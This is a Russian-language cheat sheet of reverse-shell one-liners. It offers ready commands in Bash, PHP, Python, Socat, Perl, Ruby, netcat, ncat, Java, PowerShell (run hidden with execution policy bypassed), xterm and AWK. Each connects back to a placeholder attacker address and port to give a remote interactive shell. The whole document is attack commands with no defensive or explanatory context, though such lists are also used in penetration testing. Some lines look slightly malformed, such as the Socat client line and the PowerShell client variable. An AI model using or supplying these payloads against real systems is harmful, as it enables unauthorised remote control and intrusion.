🕵️‍♂️ Шпаргалка по обратным шеллам

Linux Bash

bash -i >& /dev/tcp/ip-address/port 0>&1

PHP

php -r '$sock=fsockopen("ip-address",port);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip-address",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Socat

Пейлоад атакующего:

socat file:`tty`,raw,echo=0 TCP-L:port

Сторона клиента:

/dev/shm exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip-address:port

Perl

perl -e 'use Socket;$ip="ip-address";$port=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($port,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ip-address:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("ip-address",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc  ip-address port -e /bin/sh

Ncat

ncat ip-address port -e /bin/bash

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/ip-address/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Power-Shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ip-address",port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

xTerm

xterm -display ip-address:port

AWK

awk 'BEGIN {s = "/inet/tcp/0/ip-address/port"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null